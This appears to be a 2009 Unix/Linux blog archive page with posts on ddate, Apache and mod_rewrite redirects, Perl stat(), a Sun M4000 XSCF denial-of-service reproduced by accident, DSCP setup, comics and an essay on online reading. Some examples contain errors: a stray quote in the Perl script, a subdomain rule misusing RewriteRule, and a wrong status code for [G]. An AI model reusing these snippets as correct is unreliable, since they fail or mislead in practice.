Saturday, February 28, 2009

Discord At Last! Unix and Linux-y Humor

Hey there,

Although this post I found on the web is a bit dated, it's new to me and, hopefully, to you :)

If you're a fan of Robert Anton Wilson and/or Robert Shea, you may be familiar with what I still believe is a cult-classic: The Illuminatus Trilogy

If you aren't familiar with them, I'd suggest virtually anything either of them have ever written, but especially the aforementioned Illuminatus Trilogy. Every time someone mentions "The DaVinci Code," which I grudgingly read, I'm always reminded of this book. It's rooted in the same amount of fictitious fact, but is a superbly well-crafted, self-aware and hilarious read. SPECIAL NOTE FOR THE PURITANICALLY SENSITIVE: While the writing in this book is excellent and the story extremely entertaining, it does contain descriptions of fairly commonplace sexual acts to a detail that may make some readers uncomfortable. Fortunately, the humor, violence, ten-mile-deep plot and prose (in general) are equally as engaging :)

If you are familiar with The Illuminatus Trilogy, the following post on "ddate"; a command that translates regular time into Unix time as well as Discordian Time, should be entertaining and give you a good chuckle. Even if you haven't read the books, this stuff is funny on its own. I found this particular post on CyberCiti where you can find lots of other funny and interesting posts.

As an interesting sidenote, the Principia Discordia to which the post refers actually inspired The Illuminatus Trilogy. Or was the one the inspiration for the other (The first edition having only been found in 2006)? The more of this stuff you read, the more confusing it gets ;) If you want to read more about all of the modern reading, writing, movies and television inspired by Discordianism, check out the Discordianism Page on Wikipedia.

Enjoy and Happy Saturday!

p.s. On a sadder note, both of the authors of The Illuminatus Trilogy have since passed away. You can visit their respective websites (continuing where they left off; their legacies' being carried on by their children) at the Robert Anton Wilson Home Page (he passed on January 11th, 2007, peacefully in his sleep. A number of false reports of his death made the papers from 2006 onward) and BobShea.net (He passed March 10th, 1994 of colon cancer although ( yet another oddity ) many false reports of his death marked him as having passed from AIDS-related illness. Whomever his lifestyle offended ended up being more offensive in the end).

, Mike



ddate: Converts Gregorian dates to Discordian dates


by Vivek Gite






Most of you may be aware of date command. There is also a ddate command. It converts Gregorian dates to Discordian dates or Erisian calendar, which is an alternative calendar used by some adherents of Discordianism. It is specified on page 00034 of the Principia Discordia:


The Discordian calendar has five 73-day seasons: Chaos, Discord, Confusion, Bureaucracy, and The Aftermath. The Discordian year is aligned with the Gregorian calendar and begins on January 1, thus Chaos 1, 3173 YOLD is January 1, 2007 Gregorian.


Just type ddate:

$ ddate

Output:


Today is Setting Orange, the 71st day of Bureaucracy in the YOLD 3173

For fun put following alias in /etc/profile (try out on 1st April ;) ):

alias date=ddate


If called with no arguments, ddate will get the current system date, convert this to the Discordian date format and print this on the standard output.. Alternatively, a Gregorian date may be specified on the command line, in the form of a numerical day, month and year.








Discover the Free Ebook that shows you how to make 100% commissions on ClickBank!



Please note that this blog accepts comments via email only. See our Mission And Policy Statement for further details.

Friday, February 27, 2009

Subdomain Redirection Using htaccess And mod_rewrite On Apache For Linux Or Unix

Hey there,

Following up on yesterdays post on 301 redirects, which we realize is a tired subject, today we're going to take look at simple ways you can do regular/subdomain redirection using htaccess and "mod_rewrite" for Apache on Linux or Unix. And, while yesterday's subject matter (and perhaps even today's) may be somewhat generic, we're trying to even the balance here. Now that we're in the 500's on post count, we feel it would be a shame if somebody came here to learn something really cool and then couldn't find some other really basic information. As written previously, if this blog's subject matter were more limited this would be much easier to do. On the bright side, we'll probably never run out of things to write about :)

You can reference the basics of mod_rewrite syntax and rules on the link provided that points back to apache.org. While this page (or pages it links to within the same site), obviously, covers all the aspects of using Apache's "mod_rewrite," the style may not be suited to everyone. It's great information, but assumes some level of comfort that you may or may not already have regarding the subject matter.

In our few examples today (which won't cover much but should be explained with a good amount of detail), we're going to use a file named ".htaccess" (the dot at the beginning of the name is important!) placed in our web server's root folder (or base folder, etc) which contains the "mod_rewrite" rules. Our first example will implement the equivalent of a 3xx redirect using "mod_rewrite" instead of the more conventional methods. In order to implement this, just place the following content in your .htaccess file (assuming, again, that we want visitors to www.myxyz.com to be redirected to www.myotherxyz.com):

Options +FollowSymLinks
RewriteEngine On
RewriteBase /
Redirect 301 / http://www.myotherxyz.com


Looks familiar, yeah? We actually covered that yesterday, as it's one of the most basic rewrites you can do. We just added the "standard recommended" starting lines for your .htaccess file. Those top three lines aren't "always" necessary, which is why we didn't include them in yesterday's example.

Here's another example that shows you how to use "mod_rewrite"'s regular expression functionality to redirect from an htm(l) page on one web server to a page on another web server:

Options +FollowSymLinks
RewriteEngine On
RewriteBase /
RewriteRule ^(.+)\.htm$ http://www.myotherxyz.com/$1.html [R,NC]


This example doesn't do all that much more than the previous, but it "is" a lot more flexible. We'll walk through the RewriteRule, to see what it's doing (and, remember, all of the nitty-gritty can be found on Apache's mod_rewrite page). The line itself, if you're familiar with basic regular-expression syntax, isn't too hard to decipher. The characters that are special in the line are the following:

^ <-- The caret indicates that the match is anchoring to the start of the request.
. <-- The dot character is representative of "any" alphanumeric character (including spaces, tabs, goofy characters, etc). It matches "anything"
\ <-- The backslash character "escapes" special match characters. In this case, we're using it to represent a "real" dot, rather than the regular-expression dot described above.
+ <-- The plus symbol indicates that the character preceding it must exist one or more times if the match is to be considered a success
$ <-- The dollar sign is the opposite of the caret. It indicates that the match is anchored at the end of the request
() <-- Anything within parentheses (on the left-hand-side, or LHS, of the expression) is considered to be a "captured" part of the match. It can be referenced on the right hand side (or RHS) of the rewrite rule using the dollar sign. This sign, as shown above, means something completely different on the RHS of the equation.
$1, $2, $3, etc <-- the dollar-sign-plus-number on the RHS of the expression represents the content of an LHS match (within the parentheses, as written above). The first parentheses match on the LHS is represented by $1, the second by $2, etc.
[] <-- Within the match rule itself, the brackets indicate a range, or "class" (a term that doesn't seem correct, but is used in the mod_rewrite terminology) of characters. For instance [abcd] would match the letter a, b, c or d. At the end of the mod_rewrite rule (as its final component) the characters within it hold special significance and "do not" represent a range. You can use more than one and just separate them with commas. In the example above they say that:
R <-- We're doing a "R"edirect. You can add an equals sign and the proper number if you want to be specific. So, a 301 redirect would look like [R=301] and make our expression's end look like [R=301,NC]
NC <-- Even though N and C both have special meanings of their own (in the final part of the rewrite rule), when used together as a single entity they mean that the matching-rule should be "case insensitive" NC equal "No Case" if that helps ;)

And that's that one line. Explained with only 10 or 12 more ;) Basically, it matches any web server request (for an html page - a bit more than our other rule was looking for) and redirects it, like so:

ORIGINAL REQUEST: http://www.myxyz.com/iNdex.html (Sent to the web server as "/iNdex.html)
MATCHING RULES APPLIED: ^(/iNdex).html ==> http://myotherxyz.com//index.html

The double slashes are squashed into one by default, but you could remove them from the LHS of the match rule and make that "" "^(.+)\.htm$" into "^/(.+)\.htm$" - effectively removing the leading forward slash from the () parentheses match and its extrapolated value ($1) on the RHS.

The standard final argument indicators are listed on Apache's mod_rewrite page and below:

[R] Redirect. You can add an =301 or =302, etc, to change the type.
[F] Forces the url to be forbidden. 403 header
[G] Forces the url to be gone. 401 header
[L] Last rule. (You should use this on all your rules that don't link together)
[N] Next round. Rerun the rules again from the start
[C] Chains a rewrite rule together with the next rule.
[T] use T=MIME-type to force the file to be a mime type
[NS] Use if no sub request is requested
[NC] Makes the rule case insensitive
[QSA] Query String Append. Use to add to an existing query string
[NE] Turns off the normal escapes that are the default in the rewrite rule
[PT] Pass through to the handler (together with mod alias)
[S] Skip the next rule. S=2 skips the next 2 rules, etc
[E] E=var sets an enviroment variable that can be called by other rules


In our final example, if you want to redirect all sub-domains of a domain to another site (e.g. redirect home.myxyz.com to www.myxyz.com), you could do it like this:

Options +FollowSymLinks
RewriteEngine On
RewriteBase /
RewriteRule %{HTTP_HOST} ^([^.]+)\.myxyz\.com$ http://www.myotherxyz.com [NC,L]


The %{HTTP_HOST} variable is translated from the variable provided by the standard HTTP headers. The L in the final argument means that, if this match is made, it will be considered the last match and no more rules in your .htaccess file will be processed. In our small example this doesn't really make a difference, but it can help with flow control if you have multiple rules and want to quit matching if you match this condition.

Hopefully today's quick run-down has been helpful. Let us know - too much information, not enough, not-enough-of-some-but-too-much-of-another? We're always interested in hearing your thoughts :)

Cheers,

, Mike




Discover the Free Ebook that shows you how to make 100% commissions on ClickBank!



Please note that this blog accepts comments via email only. See our Mission And Policy Statement for further details.

Thursday, February 26, 2009

Simple Site Redirection On Apache For Linux Or Unix

Hey there,

Today we're going to look at simple ways you can do site redirection using a few basic methods for Apache on Linux or Unix. I'd presume that the functionality works exactly the same for Apache on Windows, but that would (to misquote a cliche) make a "pres" out of "u" and "me" - yeah, the "assume" version of that plays much nicer ;) Tomorrow, we're going to follow up with more advanced ways to do site and subdomain redirects using "mod rewrite".

Site redirection, in and of itself, is fairly easy to do with just straight-up HTML or PHP, but it has its limitations. For instance, if you wanted everyone who visited www.myxyz.com to be redirected to www.myotherxyz.com, all you'd have to do would be to add some simple code to your index.htm(l) or index.php file. In HTML, you could just add this line in the <head> section:

<meta http-equiv="refresh" content="30;url=http://myotherxyz.com/">

This would allow for thirty seconds to pass before the redirect was called. You might want to make that shorter or longer, depending upon how much interactivity you wanted your visitor to have before being redirected. You may want to allow them to use the old site if they want and redirect them if they don't click on a link in 30 seconds, or something like that. If you really want them to not have any choice, try setting the time (content) to 0. Although this, technically, redirects immediately, depending on someone's connection, the server hosting the website, etc, slow page load could cause the user to see the original page before it refreshes to the new site. If you're only using a page for this purpose, you should leave the body blank or with just a similar background image as your new site.

PHP is a bit faster, although still subject to the limitations of the interacting components that affect the HTML redirect (although not to the same degree). In PHP, you could do the same thing with this little chunk of code:

<?
Header( "HTTP/1.1 301 Moved Permanently" );
Header( "Location: http://www.myotherxyz.com/" );
?>


The most efficient method (of the three we're going run through here today) is to use htaccess. This point will be expanded upon to a good degree in tomorrow's post, since the combination of htaccess and "mod rewrite" can allow you to do a lot more than just standard redirection. Using htaccess, you could create a file called, strangely enough, .htaccess in your site's main directory (or root or home directory, or base directory or whatever you prefer to call it) that contained the same directions as above, although with yet another syntax. A simple 301 site redirect in .htaccess can be written this simply (the entire file from top to bottom):

redirect 301 / http://www.myotherxyz.com/

It just doesn't get any simpler than that :) For the htaccess method, since there are no double quotes surrounding your arguments (old-site-name new-site-name) you need to double quote any addresses that include spaces. Simple enough:

redirect 301 "/my old index.html" http://myotherxyz.com/

And that's all there is to it! For a little bit of trivia, you may have noted that we ended all of our redirect destinations with a closing / ( www.myotherxyz.com/ as opposed to www.myotherxyz.com ). The reason we do this is actually still standard protocol. You can actually do the test yourself right now to prove it out. When you send a standard web server a URI request for, say, http://www.google.com (for instance), that actually generates a 301 site redirect and plops you at http://www.google.com/, which is the properly formatted address. It happens very quickly and, of course, only counts when you're requesting a directory. If you specify a file, like http://www.google.com/index.html, you'll either get the page you were expecting or some other error (perhaps even a 301), although it should be noted that some web servers don't do this anymore in all instances (http://www.google.com/news, for example). Still, being a dinosaur, I prefer to stick to the way that should always work.

Give it a shot. It might be more fun than pick-up-sticks ;) If you find a site that does it, you can see the redirect in action using simple Telnet. Take this example using http://abc.go.com/daytime (Although this page actually does a 302 redirect - for temporary redirection - right now and takes you to a specific index page) - I grew tired of trying to find sites that use 301 redirection on sub-directories and you can't telnet to any server and not request a page, unless you want that 404 ("GET /" works, but proving the redirect by doing "GET " doesn't ;)

$ telnet abc.go.com 80
Trying 198.105.194.116...
Connected to abc.go.com.
Escape character is '^]'.
GET /daytime HTTP/1.0

HTTP/1.1 302 Found
Connection: close
Date: Thu, 26 Feb 2009 00:19:27 GMT
Location: /daytime/index?pn=index
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi
OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: abc07
Set-Cookie: SWID=54AE3DC5-FB42-4F6C-8B10-82E506FFD442; path=/;
expires=Thu, 26-Feb-2029 00:19:27 GMT; domain=.go.com;
Content-Length: 163
X-UA-Compatible: IE=EmulateIE7

<HTML><HEAD><TITLE>Moved Temporarily</TITLE></HEAD><BODY>This document
has moved to <A HREF="/daytime/index?pn=index
">/daytime/index?pn=index
</A>.<BODY></HTML>Connection closed by foreign host.


See you tomorrow for some more-convoluted stuff.

Cheers,

, Mike




Discover the Free Ebook that shows you how to make 100% commissions on ClickBank!



Please note that this blog accepts comments via email only. See our Mission And Policy Statement for further details.

Wednesday, February 25, 2009

Back To Basics: Getting File Information Using Perl's Stat Function

Hey there,

Today we're going take a (somewhat) beginner's look at extracting lots of useful information from files on Linux or Unix using Perl. More specifically, we'll be using Perl's stat() function. If you're a regular reader, you've probably noticed that we've strayed quite a bit from our original motto (which is screaming in the meta-description tag of every page ;) which is to keep up a blog that appeals to Linux and Unix users and/or admins of any skill level. Lately, we kind of feel like we've neglected the folks newer to the Linux/Unix world. Perhaps we're wrong. We're obviously confused. Perhaps, the next time we start a blog we'll be bit more specific about the subject matter. That being said, we've made our beds and have resigned to lie in them, since the floor is getting uncomfortable again ;)

Today we're going to take a brief introductory look at Perl's stat() function and how you can use it to extract lots of useful information from files, directories, etc (actually, everything in Linux/Unix is a "file" of a certain type). It's incredibly easy to use and, even if you've never used Perl before, very easy to implement. If you're still stuck at the Shebang line in point of reference to Perl/shell scripting, check out that post, as we hope it provides a good base for one of the things you're most likely to find in a Perl or shell script. It also goes beyond just scripting and attacks some other basic concepts.

Here's a very simple Perl script (which, as demonstrated, can be written on the command line as well) that will let you know the user id and group id associated with a particular file. We won't be exploring stat() completely in this post. just enough to get you started and comfortable (you could get the same information by running "ls -l" instead of just "ls," but that would defeat the purpose, right? ;):

host # ls
file.txt
host # perl -e '$file="file.txt";($dev,$ino,$mode,$nlink,$uid,$gid,$rdev,$size,$atime,$mtime,$ctime,$blksize,$blocks)=stat($file);print "$file : User: $uid - Group: $gid\n"';
file.txt : User: 1000 - Group: 513


Your output may vary depending on what flavour of Linux or Unix you're using. In script format, this command line would look this way (not really all the much different, but, perhaps, easier to read):

#!/usr/bin/perl

$file="file.txt";
($dev,$ino,$mode,$nlink,$uid,$gid,$rdev,$size,$atime,$mtime,$ctime,$blksize,$blocks)=stat($file);
print "$file : User: $uid - Group: $gid\n"';


When you run this (after giving it execute permission for the user - you :) - ) you get the same result (assuming you called it file.pl):

host# ./file.pl
file.txt : User: 1000 - Group: 513


Granted, today's examples were rudimentary for anyone who's had experience with Perl's functionality and the Unix/Linux shell, but, in this on and off series, we're going to take it a bit slow (we'll probably build on this post every two or three other posts). This is in no way an attempt to dumb-down the blog, just to get back to basics. Think of it as a bracing slap in the face we're giving ourselves to remind us that this blog isn't all about higher concepts.

All of us here, at one point, didn't know what Linux or Unix was, much less how to make any use of it. This interweaving series is for those of you who are just getting started (just like everyone in the business did at some point :)

We look forward to getting more into it. Perhaps the learning curve will be surprisingly fast. At the rate our children are picking up on computers, perhaps the transfer of knowledge won't be quite as difficult as it was in our day. Who can say? We don't know, but we're positive that, as soon as they can, they will ;)

In our next post in this series, we'll look at the components of the Perl stat() function and the rest of the information you can gather from it. Hopefully this post has been easily digestible enough to act as an introduction. If not, please contact us (via the link at the right hand top of every page) and let us know. We write a lot for ourselves (especially Mike, who thinks everything that makes him laugh is funny to everyone else in the entire universe ;), but are committed to providing useful information for you :)

Cheers,

, Mike




Discover the Free Ebook that shows you how to make 100% commissions on ClickBank!



Please note that this blog accepts comments via email only. See our Mission And Policy Statement for further details.

Tuesday, February 24, 2009

M4/5000 XSCP Unintentional Denial Of Service

Hey There,

I'm not sure if this is "standard" yet, since I think I found a "bug/feature" in the Sun M4000 this weekend and had a pretty constant relationship with their support department during the investigation. Except for the fact that I had to work, it was a pretty decent experience ;)

We had a very strange situation happen that, in fact, completely crippled two of our M4000 servers. The XSCF cards on them experienced an "issue" and that meant that both servers were, for all intents and purpose, out of commission. And, I don't know if the phrase "for all intents and purposes" really does the situation justice. Those machine were actually completely inoperable. At least, in any useful sense. On the M4000 server, if the XSCF card isn't working correctly (or - while this didn't happen with us - removed) you have no way to boot the server up properly, much less get power to any of the domains the server runs. Yow! So, even though this wasn't our issue, always be extra careful not to jiggle that card loose, since it's directly accessible on the back and can be jostled around using the squeeze-grip attached to the outside.

The trouble all started when we had to Re-IP the XSCF cards on two servers. We'd never done this before and, although it's a practically painless experience, it does lead to one of the ways you can cause this denial of service (purely by accident, of course - please don't do this on purpose, even though it would very easy to. In fact - don't do it "because" it's so easy - no challenge - where's the reward? ;) Since we had been issued bad IP's in our Network build sheet, we had to Re-IP the XSCF's. Part of the process involved issuing the "rebootxscf" command which (with the configuration above) causes everything (or, at least all platadm and most basic commands) to begin failing strangely (errors on the command which show up as okay in the audit logs, inability to poweron domains, etc).

And this is where it got interesting. Through testing of various methods of power-cycling with this plugged into that and that plugged into this with the keyswitch in various positions, we could only find two ways to reproduce the error that made it seem like our M4000's were completely toast and would have to have the XSCF restored to defaults in order to access our domains that (hopefully) wouldn't get destroyed in the process (which they didn't).

Here are the two ways to accomplish the meltdown (followed by an explanation of the "why" - made, I might add, possible by the helpful folks at Sun tech support - I'm not selling anything, just thinking how a lot of times people who do the right thing don't get the recognition they deserve. Murderers, psychopaths and hate groups couldn't buy the free publicity they get in this country ;):

1. Setup either one, or both, of the Ethernet controllers that come standard on the single XSCF card. Then, after you've booted up and configured a domain (basically, made your M4000 usable and useful), remove the serial cable from the pseudo-serial port and replace it with straight Ethernet (connected to the same subnet). This will not cause you any problems. Things will continue to work as normal, except for a few seconds after you insert the Ethernet in the pseudo serial port when the XSCF readjusts to having an additional "path" to/from itself and the network. Now, ssh or telnet to the XSCF card and type:

XSCF> rebootxscf

you will be prompted that this will reset your system, which is (presumably) what you want. You'll note, within seconds, that your command prompt comes right back up and you never get disconnected. Now, even if you type something like "showdate," you'll get a "permission denied" error. Not to mention the fact that you can't run any other helpful commands like "showlog" or "rebootxscf"

2. Do the same thing you did before and power cycle your M4000. The M4000 doesn't really have an off switch, so the proper way to do this is to put the keyswitch into maintenance (or service) mode (the picture of the wrench ;) and pull the plugs to both power supplies. This will work even if you just pull the power with no regard for the state of your keyswitch. The machine will never fully come up. The amber "check" LED will go blank, but the flashing green "XSCF" LED will never stop flashing (This would usually mean that it was busy initializing). You should be able to ssh or telnet to your XSCF card, anyway, but the limitations on your usage will be as bizarre as in example 1 (As another for instance, you can create any user you want and give them all the administrative privileges you need to - assuming you have them already - but you can't do nslookup, power on/off/connect-to any domains and, as above, will not be able to run "rebootxscf.") All the restrictions, in both instances, are the same. There are so many goofy things to list, it would take a few pages.

HELPFUL HINT: If you get stuck in this situation and don't have physical access to your box, you won't be able to run "showlogs," but if you have auditadm privileges, you can run viewaudit, which can be helpful, but sometimes says that your commands are completing successfully when you get permission denied on the console and nothing happens ;)

Now, for the why as I understand it. The M8000/9000 series servers actually use the pseudo serial ports to connect primary and secondary (MASTER/SLAVE - Active/Standby) XSCF's for a redundant setup. Apparently, this functionality is going to be introduced into the M4000's. Actually, the possibility is already there (slots available, etc). So, in effect, what we did when we created this "crazy" situation was take advantage of a feature that isn't street-ready yet. Basically, once we attached the Ethernet cable to the pseudo serial port, we made the M4000 think it was the SLAVE XSCF in a redundant setup that doesn't (or maybe, at this point, CAN'T) exist. This knowledge pretty much explains all the insane error messages ;)

I hope this rundown, although drier than usual, is helpful to someone out there. Sunsolve, Sun support and Google couldn't find an answer for 3 days (Actually, I'm not sure if Sunsolve or Google have this yet - There are a few Sun FE's that know it now, though ;)

All in all, a bad experience that resulted in something good.

ONE LAST HELPFUL HINT: If you want to prevent this from ever accidentally happening (since it won't if the pseudo serial port isn't being used) one thing you can do is to plug a serial cable or dongle in the pseudo serial port. It doesn't have to be connected to anything and won't cause you any problems, but may discourage other folks from plugging anything else in there :)

Cheers,

, Mike




Discover the Free Ebook that shows you how to make 100% commissions on ClickBank!



Please note that this blog accepts comments via email only. See our Mission And Policy Statement for further details.

Monday, February 23, 2009

Sun M-Series Enterprise Unix Servers And DSCP - Why?

SPECIAL NOTE: Friday's post on the absorption of knowledge was written on Blogspot in IE7 and suffered from some horrible display problems on FireFox and other browsers. It has been completely retooled. Apologies for any inconvenience that post caused. Even though I write some goofy rants, missing text wasn't supposed to be part of that post's intentionally cryptic style. Thanks :) - Mike

Hey there,

Today, we're going to look at DSCP (The Domain to Service processor Communication Protocol) and why it was introduced with the newer M series Enterprise servers from Sun. The first time I ran into it, I thought approximately the following: All right, here's something else that can make my life more complicated ;) Now, not only do I have to hop onto a private network (added security at work) to connect to the service processor (SP), but then I have to be sure that an entirely separate network is functioning correctly in order for me to connect to a domain on my machine if I want to get there directly from the SP. I'm naturally negative, but I keep it inside until I've given myself the time to realize that things are either not as bad or better than I initially assumed, which goes a long way toward maintaining good relationships with other human beings ;)

DSCP, although it "is" another layer of complication, is actually a pretty good idea. In essence, it's an attempt at damage control and resource sharing (which almost never works entirely), on par with earlier "HUGE" Sun computers, which does a pretty decent job at a relatively low cost. And, I use the word "cost" in reference to the amount of work you have to put into getting it all set up and working correctly. It's practically free, in that respect, so kudos (The plural, pronounced kyu-doze) to Sun for adding a little extra protection and making it an additon to an existing model that doesn't encumber the admin or user to a noticeable degree. Once it's set up, it may as well be non-existent. ...unless you have problems with it, but that's a general rule when it comes to anything.

Inter-process communication on the 6800/6900, etc boxes was handled pretty decently as well, but didn't really lay ground for the possiblity of scaling easily in the future. On those boxes, shared memory (for example) was "stuck" to a single SP, so if you had multiple SP's, you essentially had multiple machines, each alienated from the other with regards to system resources. The 6800/6900's were, as one would expect, worse in this regard than the 15k-and-up models (check out the price tags. Some times it can be an indicator of quality. Is the difference in ease of sharing worth it? Depends on your situation)

The 15k-and-up servers ran physical ethernet from the service processor(s) to the domain controllers (whereas, if I forgot to mention above, the older mailbox-architecture was imbedded and much more difficult to "change"). This setup made it slightly easier to re-allocate resources since you basically had a MAN setup on your Sun system (Maintenance Area Network for those of us who still care ;). Since the MAN operated at the application layer of the stack, all you had to do to scale up when you added a new product or application was assign a new TCP port. And that was that: Sharing made much simpler. There's a lot of nitty-gritty behind it all, but who wants to read about that? If you do, check out docs.sun.com and go nuts ;)

So, now, we've made it all the way up to the almost-present (we'll just consider it the "now" for now ;) and the M-Series servers. Since the MAN configuration of the 15k-and-up servers worked out so beneficially, that concept was guaranteed to be built in to the next generation of Enterprise computers. The one big drawback, from an architectural perspective, was the fact that the 15k-and-up servers had a whole bunch of externally exposed cables patched all over the place to maintain that separate MAN network (lots of ways to goof that up). The DSCP is Sun's way of taking care of that issue while maintaining the extended reliablity (and security) introduced with the MAN concept.

DSCP reproduces the 15k-and-up MAN using shared RAM, a pseudo-serial driver and PPP. To the user, this means all the benefits of a MAN, without all of the cords ;) Actually, it's a very nice implementation of physical-to-virtual transformation. And, as we all know, in about 10 to 15 years, we'll all be virtual and the only people left alive on the planet earth will be maintenance technicians ;)

The best thing about DSCP is how incredibly complicated it is to set up. Just kidding ;) It's actually incredibly simple. So simple that, if you're like me, you're wondering when a monkey is going to be able to start doing your job ;) Assuming an unlimited amount of Domains attached to a service processor, setup of DSCP is as simple as this:

XSCF> setdscp -i 10.0.0.1 -m 255.255.255.0
Commit these changes to the database? [y|n] : y


or, even simpler:

XSCF> setdscp
DSCP network [10.0.0.1 ] >
DSCP netmask [255.255.255.0 ] >
XSCF address [10.0.0.2 ] >
Domain #00 address [10.0.0.3 ] >
Domain #01 address [10.0.0.4 ] >


These examples are from an M4000 with only 2 domains, but the flavour stays the same on the larger boxes in the series. The only thing you really have to worry about (just like your MAN networks) is that you pick a network that doesn't get used. Generally, as shown above, using a non-routable network is best practice. Although I accidentally typed a 24-bit netmask for a class C IP (and used 1 for the network instead of 0), it doesn't really make a difference.

Of course, displaying the information is just as simple (should you forget):

XSCF> showdscp

DSCP Configuration:

Network: 10.0.0.1
Netmask: 255.255.255.0

Location Address
---------- ---------
XSCF 10.0.0.2
Domain #00 10.0.0.3
Domain #01 10.0.0.4


The key benefit, aside from the easier resource sharing that carries over from the MAN days, is the extra protection each domain is provided. Assuming an exploit is commited against one domain, whoever's gotten onto your box and screwed up that configuration will have to work harder to get to the other connected domains, since they'll have to go through the XSCF to get there. There is no absolute direct connection between domains. Although, since I know somebody out there is thinking this, it "is" still possible to attack all the domains on an M-Series machine at once; just not in an overt fashion. For instance (and I'm not encouraging this behaviour in any way whatsover) if you can create a situation whereby the administrator needs to power-cycle his/her M-Series server to restore functionality to the exploited domain, you've just brought all of the domains down in one fell swoop.

And, in closing, if you can't get to the XSCF to check out the DSCP configuration and you have the proper privilege and access to a domain hosted on an M-Series server, you can obtain that same information using the prtdscp command. Even more convenient, you can SSH (assuming you've set it up) directly from your domain to the DSCP IP using a command similar to:

host # ssh `prtdscp -s`

If you work somewhere that can afford it, enjoy the convenience :)

Cheers,

, Mike




Discover the Free Ebook that shows you how to make 100% commissions on ClickBank!



Please note that this blog accepts comments via email only. See our Mission And Policy Statement for further details.

Sunday, February 22, 2009

Unix And Linux Cartoon Roundup

Once again, a pleasant Sunday to you all,

SPECIAL NOTE: Friday's post on the absorption of knowledge was written on Blogspot in IE7 and suffered from some horrible display problems on FireFox and other browsers. It has been completely retooled. Apologies for any inconvenience that post caused. Even though I write some goofy rants, missing text wasn't supposed to be part of that post's intentionally cryptic style. I will add this apology/comment to Monday's post as well. Thanks :) - Mike

I found a nice little collection of even more comics online at Linux Toons. Given the site's name, I'm not sure what that says about my powers of observation ;)

I you want to check out the whole collection, please drop by Linux Toons and give 'em a good going over. There are more plentylaughs to be had over on their side of the fence :)

Cheers,





Dilbert,
2007-01-25. I thought Linus was from Finland? Or is that
Eric Raymond?




M again,
2007-12-04. Mads bashing Windows
BSOD, and also
L'Oréal.
The text says "Because you're worth it, Peasant!"






On a completely but not quite unrelated note, here are some
cool Unix products:




Unix nappies. (source)






Unix fire extinguisher.
Picture by Tormod.






, Mike




Discover the Free Ebook that shows you how to make 100% commissions on ClickBank!



Please note that this blog accepts comments via email only. See our Mission And Policy Statement for further details.

Saturday, February 21, 2009

More Linux and Unix Comics: Adam@home

Happy Saturday Everyone,

After an exhausting week that isn't over until Sunday Night/Monday Morning, I always like to unwind with some funnies. I found this one over at gocomics.com. It's from a little strip called Adam@home and may be a lot funnier than I think it is ;) I have yet to finish all of them. Lots and lots of words to fuss through ;)

Cheers, and enjoy your weekend :)










, Mike




Discover the Free Ebook that shows you how to make 100% commissions on ClickBank!



Please note that this blog accepts comments via email only. See our Mission And Policy Statement for further details.

Friday, February 20, 2009

The Follow-Up: Absorption Of Knowledge In The Computer Age

Hello again, --> GENERAL WARNING: If you don't like to read a lot of text online, blow off this post! It's a tech opinion piece and won't solve any problems that can't be cured by slowing your life down a bit and paying more attention to the moment. That being said, even though this text is meant to be right above the "F" I'm going to put this disclaimer here anyway, just to see how many complaints I get. This post is full of misleading, and often completely incorrect, information and a few typos. For instance, I'm well aware that the square of 25 is not 3. Sometimes, I use the wrong case (we instead of I) on purpose. I don't address some points at all. Depending upon how some folks read
online (based on my own stockpile of comments and responses to posts) you may very
well have either missed what I just wrote or will have forgotten it by the time you
get to the point where I make that false assertion. Hopefully we're below the Adsense block now, so we can begin with the top of the "F."

Today I'm going to follow up on post we did at the beginning of this week regarding absorption of knowledge in the computer age. And I'm going to get a few things out of the way right off the bat, just in case you're the type of "F" reader they refer to in that previous post (more on that farther down the page ;) I was originally going to post some ridiculously bad code, explain that I was doing it on purpose, and why, with text in the "F pattern" and see how many people still complained about the shoddy quality of the code. Instead, I looked back at some older posts where the code was intentionally bad (in order to illustrate concepts related to the porting of shell to Perl or other programming languages more easily - since if two different languages are more structurally and visually similar, it's generally easier for anyone to process their own translation - my opinion, of course ;) and decided that, since I've already done that, it would be cheap to do it again. Easy for me. Lame for you. Believe it or not, that original series of posts on porting continued to generate complaint mails, even though the follow-up (linked to above) and rationale was spelled out within the top section of the post and is just a small part of a pretty sparse read; especially when compared to the endless lunatic yammering I slap down on the virtual page nowadays ;) If that link generates more complaints about improper or inefficient code we'll be numb with indifference... There's only so much caring one man can do ;) This has been the (possibly slightly goofed up by Adsense) top of the "F."

instead, i'm going to attempt to explain (and have fun with)
one basic concept in the aRticle from our prEvious post on computer reADing habiTs.
tHE writeR begIns the article (quite cleverly, actually, since he's assuming
you'll be the type of reader he describes and packs that information in the
relevant places) exploring the theory that most children (and a lot of teenaGers
and adults) are "f" readers when it comes to reading text on tHe inTernet. the
"f" is Somewhat of a double entendre (I'm going with the strict french translation
of "DoublE understanding" since the term is mOstly used to describe a "phrase"
rather than a single letter ;) in this case, since it's used as both a mnemonic
(the less to remember you by, my dear ;) for "F"ast and as a visual descripTion
of the patH most onlIne reader'S eyes follow when reading books or text on the
comPuter screen. if you've reAd this faR, the remAinder of the post should be
completely uninteresting. we tried to do a few thinGs on purpose to make this
post enteRtAining on more than just a Plain level. wHatever doesn't make sense,
probably will when you see the forest :)

Just for the record, I prefer to read books on paper. Not because reading online
makes me lose control like Patty Duke in the presence of a hot dog (see The Patty Duke Show Theme Song
for the full lyrics to that bizarre reference ;), but I find that reading a computer
screen is generally either uncomfortable (sitting in a chair or trying to balance a
laptop on my knees) or outright painful (bad refresh rates and certain color schemes
make my eyes dry up like juicy oranges and twitch uncontrollably). Bless all of you
who enjoy reading lots of text online. If I can, I go the library and get the book
instead. Unprovoked question: If I can't stand reading lots of text on a computer,
why do I write such long blog posts? Am I sadist, a masochist, both or just oblivious? ;)

Generally, I will read every word on an Internet page if, and only if, I have a
particular reason to. This is parallel to my reading habits offline. If I like
an author's work or I find a book on a subject I find interesting, you can bet I'll
read every single word in that book. Speed reading is fine for some (I guess), but
it seems to contradict any sense of enjoyment. Soaking up lyrical prose at 50 pages
a minute would be, probably, a really wonderful way to have an anxiety attack that
would make Evelynn Wood proud ;)

In much the same way (both online and offline), if I'm just looking for a particular
nugget of information, I'm not sure what letter my eye-scan pattern creates, but I
definitely skim. This is one point where I felt the article fell a bit short of
exploring both sides of the issue. The assumption being that people read "everything"
on the Internet the same way they read their Facebook pages doesn't necessarily hold water.
It's certainly true in some situations.

